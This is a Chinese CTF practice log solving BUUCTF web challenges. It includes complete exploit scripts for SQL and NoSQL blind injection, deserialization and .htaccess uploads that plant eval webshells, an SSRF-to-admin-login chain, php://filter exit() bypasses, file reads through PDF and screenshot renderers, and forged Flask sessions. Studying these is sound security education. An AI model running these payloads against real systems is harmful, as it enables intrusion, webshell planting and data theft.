BUU刷题记录——7

本文深入探讨了多种Web安全漏洞,包括SQL注入、文件上传、SSRF、命令执行、模板注入等。通过实例展示了如何利用这些漏洞,以及相应的防护策略,如过滤、编码、WAF等。此外,还提到了一些特定漏洞的利用技巧,如Python反序列化和PHP的Phar漏洞。最后,文章总结了多种技术的组合利用,如在不同场景下的漏洞链使用。
摘要由CSDN通过智能技术生成

[b01lers2020]Space Noodles

根据页面提示,POST访问
在这里插入图片描述在这里插入图片描述
按照提示访问最后拼接字符串即可
在这里插入图片描述

[网鼎杯 2020 半决赛]faka

关键字:未授权,任意文件读取
/admin 进入后台登录页面
下载源码审计,由于已经发现了后台地址,先查看application/admin/controller/Index.php,看看能否以admin身份登录
在这里插入图片描述

可以看到pass()方法中有着诸多验证项,而下面的info()并无要求
未登录无session,id不传值得话就可以进入if语句,跟进_form方法
在这里插入图片描述

再看到这个_form_filter方法,全局搜索,在同目录的User.php内
在这里插入图片描述
这个$data[‘authorize’],是权限的控制,查看sql文件得到authorize=3
在这里插入图片描述
访问/admin/Index/info
在这里插入图片描述
用这个账号密码登录即可
后台有个备份管理点击添加备份,然后可以下载备份文件,抓包看到参数,可能存在LFI漏洞
在这里插入图片描述
直接读/flag
在这里插入图片描述

到这其实就结束了,但还存在文件上传的漏洞,详细步骤参考:https://blog.csdn.net/rfrder/article/details/115067196
关键点截图
在这里插入图片描述

[FBCTF2019]Products Manager

关键字:基于约束的SQL攻击
开始审计,先看到add.php的handle_post() 在参数均不为空,且secret即密码通过validata_secret函数检验(即存在大小写字母以及数字且10位以上),若产品在数据库中不存在,则插入数据
在这里插入图片描述在这里插入图片描述
View.php 就是密码账号对的话展示产品
在这里插入图片描述
那应该就是sql注入了,db.php给出了提示,flag在facebook用户的Description那
在这里插入图片描述

但有插入数据的地方用了预处理 回显的地方用了html实体
在这里插入图片描述在这里插入图片描述

这里需要用到基于约束的SQL攻击
1.数据库字符串比较
在数据库对字符串进行比较时,如果两个字符串的长度不一样,则会将较短的字符串末尾填充空格,使两个字符串的长度一致,比如,字符串A:[String]和字符串B:[String2]进行比较时,由于String2比String多了一个字符串,这时MySQL会将字符串A填充为[String ],即在原来字符串后面加了一个空格,使两个字符串长度一致。
如下两条查询语句:

select * from users where username='Dumb'
select * from users where username='Dumb '

它们的查询结果是一致的,即第二条查询语句中Dumb后面的空格并没有对查询有任何影响。因为在MySQL把查询语句里的username和数据库里的username值进行比较时,它们就是一个字符串的比较操作,符合上述特征。
2. INSERT截断
这是数据库的另一个特性,当设计一个字段时,我们都必须对其设定一个最大长度,比如CHAR(10),VARCHAR(20)等等。但是当实际插入数据的长度超过限制时,数据库就会将其进行截断,只保留限定的长度。

在登陆时可以注册一个名字叫[facebook done]的用户,即在目标用户名的后面加一串空格(注意:空格后需再跟一个或多个任意字符,防止程序在检查用户名是否已存在时匹配到目标用户),空格的长度要超过数据库字段限制的长度,让其强制截断。注册该用户名后,由于截断的问题,此时我们的用户名就为:[ facebook ],即除了后面的一串空格,我们的用户名和目标用户名一样,那么在登录的时候由于数据库字符串比较的特性,最后程序获得到的用户名即为目标用户名。

限制条件:

  1. 服务端没有对用户名长度进行限制。如果服务端限制了用户名长度就不能导致数据库截断,也就没有利用条件。
  2. 登陆验证的SQL语句必须是用户名和密码一起验证。如果是验证流程是先根据用户名查找出对应的密码,然后再比对密码的话,那么也不能进行利用。因为当使用Dumb为用户名来查询密码的话,数据库此时就会返回两条记录,而一般取第一条则是目标用户的记录,那么你传输的密码肯定是和目标用户密码匹配不上的。
  3. 验证成功后返回的必须是用户传递进来的用户名,而不是从数据库取出的用户名。因为当我们以用户Dumb和密码123456登陆时,其实数据库返回的是我们自己的用户信息,而我们的用户名其实是[Dumb
    ],如果此后的业务逻辑以该用户名为准,那么就不能达到越权的目的了。

因为有64字节的长度,所以我们名字要大于64字节,例如facebook(很多空格)1,这个作为用户名进行注册,成功注册用户后,我们用facebook作为用户名和刚刚我们设置的密码进行查询。

Name:facebook                                                            11
Secret:Aa123456789
Description:123

注册后登录facebook用户即可
在这里插入图片描述

[Zer0pts2020]phpNantokaAdmin

关键字:sqlite注入bypass
一个简易web数据库操作平台,可以创建表字段插入数据
在这里插入图片描述
特殊字符可用: !@$%^&_+=|~?<>[]{}:;.
比赛的时候应该是读不了源码要自己fuzz的
在这里插入图片描述
Sqlite特性bypass

  1. select的时候,当列名用空白字符隔开时,sqlite只会把空格之前的字符当做列名,并且忽视空格后的字符
select [id][fdas3"`] from test
//1
select [id]"dgfsgfs" from test
//1
select [id]fdas from test
//1
第一个列名可以正常读取。第二个就会自动忽略
  1. []和’、"、`、一样可以包裹列名
    在这里插入图片描述

  2. sqlite可以create table … as select … 作用是根据 SELECT 结果去建立一张表格
    输入:

table_name=[aaa]as select [sql][&columns[0][name]=]from sqlite_master;&columns[0][type]=2
$sql = "CREATE TABLE [aaa] as select [sql][ (dummy1 TEXT, dummy2 TEXT, `]from sqlite_master;` 2);";

等于:

create table [aaa] as select sql from sqlite_master

查找sqlite_master中sql列的值放入aaa表中

Post  /?page=create
table_name=[aaa]as select [flag_2a2d04c3][&columns[0][name]=]from flag_bf1811da;&columns[0][type]=2

[羊城杯 2020]EasySer

关键字:HTTP参数探测、反序列化,ssrf
通过robots.txt得到/star1.php
在这里插入图片描述在这里插入图片描述
这种一看就是ssrf了 star1.php?path=http://127.0.0.1/star1.php

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
        
    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}


class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}

?> 

Exp:

<?php

class GWHT{
    public $hero;
}
class Yongen{ //flag.php
    public $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
    public $text="PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4=";
}


$a = new GWHT();
$a->hero=new Yongen();
echo serialize($a);
?>

Payload有了,但是。。我参数呢!!!没地方提交
用Arjun爆破

star1.php?path=http://127.0.0.1/star1.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:36:"PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4=";}}

然后蚁剑连接shell.php即可

[FireshellCTF2020]URL TO PDF

关键字:ssrf xss
直接file:///etc/passwd 显示url错误,只能访问外网
用的爬虫是WeasyPrint,这个爬不会渲染 js,但是可以解析 <link attachment=xxx>
Vps上放一个index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///flag">
</body>
</html>

把下载下来的pdf文件binwalk -e处理或者用Poppler

pdfdetach -list 5c8b3275e7b5f4b8d2556408a5bb00d5.pdf
pdfdetach -save 1 5c8b3275e7b5f4b8d2556408a5bb00d5.pdf

在这里插入图片描述

Poppler 是一个基于 xpdf-3.0 代码库的 PDF 渲染库。它包含下列用于操作 PDF 文档的命令行功能集。 ◈
pdfdetach – 列出或提取嵌入的文件。◈ pdffonts – 字体分析器。◈ pdfimages – 图片提取器。◈
pdfinfo – 文档信息。◈ pdfseparate – 页提取工具。◈ pdfsig – 核查数字签名。◈ pdftocairo
– PDF 到 PNG/JPEG/PDF/PS/EPS/SVG 转换器,使用 Cairo 。◈ pdftohtml – PDF 到
HTML 转换器。◈ pdftoppm – PDF 到 PPM/PNG/JPEG 图片转换器。◈ pdftops – PDF 到
PostScript (PS) 转换器。◈ pdftotext – 文本提取。◈ pdfunite – 文档合并工具。

因这个指南的目的,我们仅使用 pdftops 功能。

在基于 Arch Linux 的发行版上,安装 Poppler,运行:

$ sudo pacman -S poppler

在 Debian、Ubuntu、Linux Mint 上:

$ sudo apt-get install poppler-utils

在 RHEL、CentOS、Fedora 上:

$ sudo yum install poppler-utils

[2021祥云杯]Package Manager 2021

关键字:mongodb typescript SQL注入
在这里插入图片描述

提示 努力创建自己的包并将其提交给管理员:),随便注册个用户 有个提交package的功能
在这里插入图片描述

本来还以为是xss ,提交package然后admin那的bot点,看到源码那也有bots.js
查看源码,发现是SQL注入。。。。。。。
在这里插入图片描述

Waf的正则没有加上^$,所以可以绕过,只要前面有32位符合正则要求的字符串就行
如: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[0]=="a
在这里插入图片描述

Mongoose 是一个让我们可以通过Node来操作MongoDB数据库的一个模块
在这里插入图片描述

去/auth随便发送个token抓包得到csrf session填到脚本里
Exp:

import requests
import string

url="http://543e1255-f147-463f-b41b-04d92e06652e.node4.buuoj.cn:81/auth"
headers={
    "Cookie": "session=s:SFNpUakZ1v5D3jBsEwvqrt-saSWfjFFO.64UD/FybzWsT+aTbgfUdNEifdXv4GEKo8MMa9eKsiQc"
}

flag = ''
for i in range(10000):
    for j in string.printable:
        if j == '"':
            continue
        payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j)
        #print(payload)
        data={
            "_csrf":"BRDHiXdk-o032Lm9KjDAR6ECrQjneorPS-_k",
            "token":payload
        }


        r=requests.post(url=url,data=data,headers=headers,allow_redirects=False)
        #print(r.text)
        if "Found. Redirecting to" in r.text:
            #print(payload)
            flag+=j
            print(flag)
            break
"!@#&@&@efefef*@((@))grgregret3r"

在这里插入图片描述

[极客大挑战 2020]Roamphp2-Myblog

关键字:伪协议文件读取,zip伪协议触发shell

?page=php://filter/read=convert.base64-encode/resource=login

读取源码

<?php
//login.php
require_once("secret.php");
$secret_seed = mt_rand(); //secret.php的内容
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();



//以下为admin/user.php的内容

//登录部分
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
    if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself
        $logined = true;
        $_SESSION['status'] = $logined;
    }
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
    echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
    die();
}



//文件上传部分
if(isset($_FILES['Files']) and $_SESSION['status'] === true){
    $tmp_file = $_FILES['Files']['name'];
    $tmp_path = $_FILES['Files']['tmp_name'];
    if(($extension = pathinfo($tmp_file)['extension']) != ""){
        $allows = array('gif','jpeg','jpg','png');
        if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){return 'image/'.$ext;},$allows),true)){
                $upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
                move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
                echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
        } else {
            echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
        }
    }
}

可以看到密码的是和这个双重随机数生成的一样 无法获取到$_SESSION['password']的值,但是可以直接将其置空password也为空 同样可以满足$_POST['password'] == $_SESSION['password'] 成功登录
在这里插入图片描述

上传部分代码有过滤且写死了后缀名,但可以上传zip改后缀为jpg,用zip伪协议不影响触发
传一个2.php 写马 压缩成zip 改后缀上传
在这里插入图片描述

/index.php?page=zip://./assets/img/upload/1160160437d57e26b63d22d548c3e87c5e93423f.jpg%232
cmd=system('cat /flllaggggggggg_isssssssssss_heeeeeeeeeere');

在这里插入图片描述

[De1CTF 2019]ShellShellShell

关键字:sql注入,反序列化原生类,ssrf,绕过unlink()
这两题缝合出来的,tmd好难
https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540

https://xi4or0uji.github.io/2018/11/06/2018%E4%B8%8A%E6%B5%B7%E5%B8%82%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9Bweb%E9%A2%98%E8%A7%A3/

一个登录界面,action那输入register还可以注册,这里md5的验证码使用脚本爆破

# -*- coding:utf-8 -*-
import hashlib

for num in range(10000,9999999999):
    res = hashlib.md5(str(num).encode()).hexdigest()
    if res[0:5] == "af1e5": 
        print(str(num)) 
        break

注册一个test用户登陆查看,只有一个publish的功能
在这里插入图片描述

可能存在sql注入,但测试没啥反应
Dirsearch扫描目录发现有index.php~文件,是编辑器留下的备份文件
在这里插入图片描述

Action的被写死在一个列表里,可以看到还有个phpinfo
把config.php~ user.php~的也看一下
User.php这有个上传但需要admin权限
在这里插入图片描述

跟进上半部分这个insert函数,在config.php
在这里插入图片描述

写入的数据会先被get_column函数处理,会被用用反引号包裹起来
在这里插入图片描述

关键点其实是在preg_replace那,所有的反引号转换成了单引号,那么就可以进行注入了
在这里插入图片描述

使用`)去闭合,注入点在signature位置,最终执行的sql语句如图
在这里插入图片描述

Exp:

# encoding=utf-8
#python2


import  requests
import string
import time

url = 'http://b3e54b20-f328-4a32-8847-660af06f9e85.node4.buuoj.cn:81/index.php?action=publish'
cookies = {"PHPSESSID": "vama32u1uclof287jhsrguv0q2"}
data = {
	"signature": "",
	"mood": 0
}
table = string.digits + string.lowercase + string.uppercase


def post():
        password = ""
        for i in range(1, 33):
                for j in table:
                    signature = "1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),%d,1))=%d,sleep(3),0))#"%(i, ord(j))			    #这儿的0x61646d696e是admin的十六进制,当然用`admin`代替也可以
                    data["signature"] = signature
			#print(data)
                    try:
                            re = requests.post(url, cookies = cookies, data = data, timeout = 3)
            #print(re.text)
                    except:
                        password += j
                        print(password)
                        break
        print(password)

def main():
	post()

if __name__ == '__main__':
	main()

密码为jaivypassword
再看到登录这里,要登录admin用户还会检测ip,且是$_SERVER[‘REMOTE_ADDR’]无法伪造,那么只能找一个ssrf的点,进行登录
在这里插入图片描述

找到一个反序列化的点可以利用php原生类soapclient反序列化进行ssrf,通过?action=phpinfo看到php开启了soap拓展,这里当不是admin身份的时候进入这个if语句,然后取出第二行的数据进行反序列化
在这里插入图片描述在这里插入图片描述

获取的是本机的ip,然后在对这段内容序列化后使用addslashes进行转义,可以利用mysql在读数据的时候会把括号内的16进制转成原来的字符串的特性绕过这个转义
在这里插入图片描述

生成序列化payload的脚本:

<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=jaivypassword&code=Ixk5iXwrUkJdacRF553V';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=gkpe4nhjg5dhv2l3kk5o6tglh4'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

这里的code还有PHPSESSID需要和我们准备用来登录的一样,从我们的浏览器预先生成一个会话,在本地解决验证码,并将PHPSESSID 与请求以及验证码的解决方案一起发送到验证码(验证码的解决方案与我们的会话相关联)。如果 SSRF 成功,这PHPSESSID将是一个管理员认证的会话。为了防止干扰开两个浏览器,一个打,一个准备登录
将生成的payload,打到sql注入的地方即可
上传那里没有什么阻碍,直接传即可,这里使用脚本自动化操作,https://github.com/rkmylo/ctf-write-ups/blob/master/2018-n1ctf/web/easy-php-540/solve_ssrf_rce.py 拿原题脚本改了下

#python2
import re
import sys
import string
import random
import requests
import subprocess
from itertools import product
import hashlib


_target = 'http://b3e54b20-f328-4a32-8847-660af06f9e85.node4.buuoj.cn:81/'
_action = _target + 'index.php?action='

def get_creds():
    username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    return username, password

def solve_code(html):
    code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
    for num in range(10000,99999999):
        res = hashlib.md5(str(num).encode()).hexdigest() 
        if res[0:5] == code:  
            print(str(num))
            return str(num)
            break
    

def register(username, password):
    resp = sess.get(_action+'register')
    code = solve_code(resp.text)
    sess.post(_action+'register', data={'username':username,'password':password,'code':code})
    return True

def login(username, password):
    resp = sess.get(_action+'login')
    code = solve_code(resp.text)
    sess.post(_action+'login', data={'username':username,'password':password,'code':code})
    return True

def publish(sig, mood):
    return sess.post(_action+'publish', data={'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'})

def get_prc_now():
    # date_default_timezone_set("PRC") is not important
    return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();'])

def get_admin_session():
    sess = requests.Session()
    resp = sess.get(_action+'login')
    code = solve_code(resp.text)
    return sess.cookies.get_dict()['PHPSESSID'], code

def brute_filename(prefix, ts, sessid):
    ds = [''.join(i) for i in product(string.digits, repeat=3)]
    ds += [''.join(i) for i in product(string.digits, repeat=2)]
    # find uploaded file in max 1100 requests
    for d in ds:
        f = prefix + ts + d + '.jpg'
        resp = requests.get(_target+'adminpic/'+f, cookies={'PHPSESSID':sessid})
        if resp.status_code == 200:
            return f
    return False

print '[+] creating user session to trigger ssrf'
sess = requests.Session()

username, password = get_creds()

print '[+] register({}, {})'.format(username, password)
register(username, password)

print '[+] login({}, {})'.format(username, password)
login(username, password)

print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID'] + ' '

print '[+] getting fresh session to be authenticated as admin'
phpsessid, code = get_admin_session()
print code

ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: {}\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, len(code)+43, code)
print ssrf
mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)
mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))

payload = 'a`,{})#'.format(mood)

print '[+] final sqli/ssrf payload: ' + payload

print '[+] injecting payload through sqli'
resp = publish(payload, '0')

print '[+] triggering object deserialization -> ssrf'
sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})

print '[+] admin session => ' + phpsessid

# switching to admin session
sess = requests.Session()
sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})

print '[+] uploading stager'
shell = {'pic': ('test.php', '<?php eval($_POST[cmd]);', 'image/jpeg')}
resp = sess.post(_action+'publish', files=shell)#, proxies={'http':'127.0.0.1:8080'})
print(resp.text)
prc_now = get_prc_now()[:-1]  # get epoch immediately

if 'upload success' not in resp.text:
    print '[-] failed to upload shell, check admin session manually'
    sys.exit(0)

在这里插入图片描述

已经上传木马到/upload/test.php了蚁剑连接就行,密码cmd
根据提示在内网,打开虚拟终端,查看网卡信息,找到了内网的ip段,用插件可以扫描端口
在这里插入图片描述

用curl将页面内容保存下来,我这-O没保存成功 直接复制出去保存的
在这里插入图片描述在这里插入图片描述

对于不是数组的filename进行了一堆严格的限制,但是没有对数组进行限制,所以我们可以考虑用数组进行绕过,要求filename的end和filename的[count-1]不能相等,那么直接传两个就行如:file[1]=111&file[2]=php
在这里插入图片描述在这里插入图片描述

这里保存文件使用的随机文件名,以及最后的unlink删除文件,构造目录穿越的文件名进行绕过/../shell.php
参考:https://blog.csdn.net/a3320315/article/details/104132751
在这里插入图片描述

利用postman构造phpcurl包
在这里插入图片描述

这里的file那shell.php的内容为 @<?php echofind /etc -name flag -exec cat {} +;
在这里插入图片描述

hello那的名字要和上传的文件名字一样,不然就访问不到了
在这里插入图片描述

Code那生成代码,但生成的并没有shell.php的内容,需要自己添加,参考赵总的,我这里懒得登录上传直接在蚁剑那新建了一个,保存完直接访问即可

<?php

$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => 'http://10.0.97.6',
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => '',
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 0,
  CURLOPT_FOLLOWLOCATION => true,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => 'POST',
  CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\ntest.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n/../test.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
  CURLOPT_HTTPHEADER => array(
    "Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
    "cache-control: no-cache",
    "content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
  ),
));

$response = curl_exec($curl);

curl_close($curl);
echo $response;

在这里插入图片描述

当然这里上传文件的步骤也可以在虚拟终端里直接用curl,上传一个shell.php到终端同目录下

@<?php echo `find /etc -name *flag* -exec cat {} +`;

如果使用了-F参数,curl就会以 multipart/form-data 的方式发送POST请求。-F参数以name=value的方式来指定参数内容,如果值是一个文件,则需要以name=@file的方式来指定。

curl 'http://10.0.97.6' -F 'hello=test.php' -F 'file=@shell.php' -F 'file[1]=111' -F 'file[2]=./../test.php'

在这里插入图片描述

[JMCTF 2021]UploadHub

关键字:.htaccess开启当前目录php解析
对后缀名做了个白名单
在这里插入图片描述
看源码差点还以为是sql注入了,源码包里面还有个apache2.conf配置文件中php_flag engine 设置为0,会关闭该目录和子目录的php解析
在这里插入图片描述

通过上传.htaccess文件在/upload 目录下来开启php解析

<FilesMatch .htaccess>
SetHandler application/x-httpd-php 
Require all granted  
php_flag engine on	
</FilesMatch>

php_value auto_prepend_file .htaccess
#<?php eval($_POST['cmd']);?>

强制所有匹配的文件被一个指定的处理器处理

ForceType application/x-httpd-php
SetHandler application/x-httpd-php

php_flag engine on #开启PHP的解析 php_value auto_prepend_file .htaccess
在主文件解析之前自动解析包含.htaccess的内容

查看phpinfo看到system等常用命令执行函数被禁用

var_dump(file_get_contents("/flag"));

或者使用<file>标签,其优先级高于<directory>

<Files "*.gif">
SetHandler application/x-httpd-php
php_flag engine on
</Files>

再上传个gif后缀的马就行

也可使用正则盲注

import requests
import string
import hashlib
ip = '74310c5695d734e667dc2250a05dcd29'//修改成自己的
print(ip)

def check(a):
    htaccess = '''
    <If "file('/flag')=~ /'''+a+'''/">
    ErrorDocument 404 "wupco6"
    </If>
    '''
    resp = requests.post("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/index.php?id=69660",data={'submit': 'submit'}, files={'file': ('.htaccess',htaccess)} )
    a = requests.get("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/upload/"+ip+"/a").text

    if "wupco" not in a:
        return False
    else:
        print(a)
        return True
flag = "flag{"
check(flag)

c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
    for i in c:
        print("checking: "+ flag+i)
        if check(flag+i):
            flag = flag+i
            print(flag)
            break
        else:
            continue

[FireshellCTF2020]ScreenShooter

关键字:CVE-2019-17221爬虫xml
一个对网页的截图功能,试了下file协议不行
在这里插入图片描述

https://beeceptor.com/ 可以检查http请求,我们创建一个端点后,在网页内请求该端点,查看使用的爬虫信息,我自己做的时候死活获取不到请求信息,后来发现是不能用https
在这里插入图片描述

可以清楚看到使用PhantomJS爬虫,搜索PhantomJS发现存在任意文件上传漏洞CVE-2019-17221,通过file://URL的XMLHttpRequest触发
在这里插入图片描述

<!DOCTYPE html>
<html>
<head>
	<title></title>
</head>
<body>
	<script type="text/javascript">
		var karsa;
		karsa = new XMLHttpRequest;
		karsa.onload = function(){
			document.write(this.responseText)
		};
		karsa.open("GET","file:///flag");
		karsa.send();
	</script>
</body>
</html>

丢vps上让靶机去访问

[CISCN2019 总决赛 Day1 Web3]Flask Message Board

关键字:模板注入,session伪造
测试模板注入,三个都填{{10*10}}直接提示hacker了
在这里插入图片描述

单独Author那没事,另外两个正常填,{{config}}获取secret_key
在这里插入图片描述

伪造session 获得admin身份
在这里插入图片描述

flask-unsign --sign --cookie "{'admin': True}" --secret “11|iilIilI11|1|IlIII1l1||11ilI|I1i1iIlI1”

在这里插入图片描述

不过这题好像环境出问题了,这session我kali和win都生成过了好几遍,访问/admin还是显示不是admin的session,用脚本跑了个循环也一直是不对

import requests
import re,sys
from flask.sessions import SecureCookieSessionInterface
target = 'http://aa94f7b4-108d-4bd8-a7f1-513c1174daea.node4.buuoj.cn:81/'

secret_key = 'IiI1|li1|l|il1illlillI1||I1l|IIl1i1||iI|'


class App(object):  
    def __init__(self):
        self.secret_key = None
app = App()  
app.secret_key = secret_key

si = SecureCookieSessionInterface()  
serializer = si.get_signing_serializer(app)
while(1): 
	session = serializer.dumps({'admin':True})
	print(session)

	r = requests.get(target+'/admin', cookies={'session':session}).text
	if 'Settings' in r:
	    print('fixed')
	    exit(0)

在这里插入图片描述

在Content输入一个长度为1024的字符串,例如aaaaaabxCZC,即可看到flag。

在这里插入图片描述

[WMCTF2020]Web Check in 2.0

关键字: php _filter 过滤器去除exit();

<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
var_dump("Sandbox:".$sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
         die('hacker');
    if(file_exists($content))
        require_once($content);
    echo($content);
    file_put_contents($content,'<?php exit();'.$content);
}

要绕过这个exit(); 是加在我们内容的前面的无法通过注释符搞定 通常可用php的编码器
https://xz.aliyun.com/t/8163#toc-0
这里常用的几个都给干了 但还有两个压缩过滤器
https://www.php.net/manual/zh/filters.compression.php
payload:

?content=php://filter/zlib.deflate/string.tolower/zlib.inflate/?><?php%0deval($_GET[cmd]);?>/resource=test.php

经过编码解码组合拳之后e就没了
在这里插入图片描述在这里插入图片描述

还有一种方法 不过在本题中无效 因为你不知道flag文件名,写马的话会被这个过滤器一并去除

php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20G:\test.php%0a%23/resource=.htaccess

string.strip_tags //从字符串中去除 HTML 和 PHP 标记,php7.3后废止

PyCalX 1&2

关键字:命令执行注入 Python 格式化字符串漏洞

PyCalx1

在这里插入图片描述

直接看到最终执行的语句是怎么拼接的
在这里插入图片描述

repr()函数会将将对象转化为供解释器读取的形式。其实就是会用引号包裹

如果输入数字的话就会引入单引号
在这里插入图片描述

get_op仅仅过滤验证了第一位字符,因此我们可以在第二位引入单引号
在这里插入图片描述

最终拼接之后的结果如图所示,使用#注释掉多余的单引号
在这里插入图片描述

结果是bool值或只包含[0-9] 时才会输出
在这里插入图片描述

那就和跑盲注一样跑就行

# coding=utf-8
import string
import requests
import sys
from urllib import quote
if __name__ == '__main__':
    reg_str = string.punctuation + string.ascii_lowercase + string.ascii_uppercase + string.digits
    Flag = "flag{"
    url = "http://c3e752a6-849e-4e78-ab4f-6c3f890b6673.node4.buuoj.cn:81/cgi-bin/pycalx.py?value1=t&op=%2B%27&value2=+and+True+and+source+in+FLAG%23&source=" + quote(
        Flag)
    for i in range(100):
        for x in reg_str:
            url_t = url + quote(x)
            print url_t
            html = requests.get(url_t).content
            if '''True
>>>''' in html:
                url = url_t
                Flag = Flag + x
                print Flag
                break
PyCalx2

在python3.6.2版本中,PEP 498 提出一种新型字符串格式化机制,被称为“字符串插值”或者更常见的一种称呼是F-strings

F-strings提供了一种明确且方便的方式将python表达式嵌入到字符串中来进行格式化。
使用F-strings不用逃逸单引号,因为它支持表达式可使用if else。

简言之就是可以在字符串中方便地直接插入表达式,以f 开头,表达式插在大括号{} 里,在运行时表达式会被计算并替换成对应的值

[Black Watch 入群题]Web2

注册任意账号登录失败
在这里插入图片描述

在登陆界面测试sql注入发现有waf,注册那输入啥都没事

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

[2021祥云杯]secrets_of_admin

关键词:
SSRF CVE-2019-15138

Index.ts可以看到一个登录和pdf模板渲染的功能
在这里插入图片描述

生成的文件保存在files目录下,文件名由uuid组成,文件归属superuser用户
在这里插入图片描述

/api/files路由可以添加filelog ,且用户为当前登录用户,但存在本地限制,需要ssrf
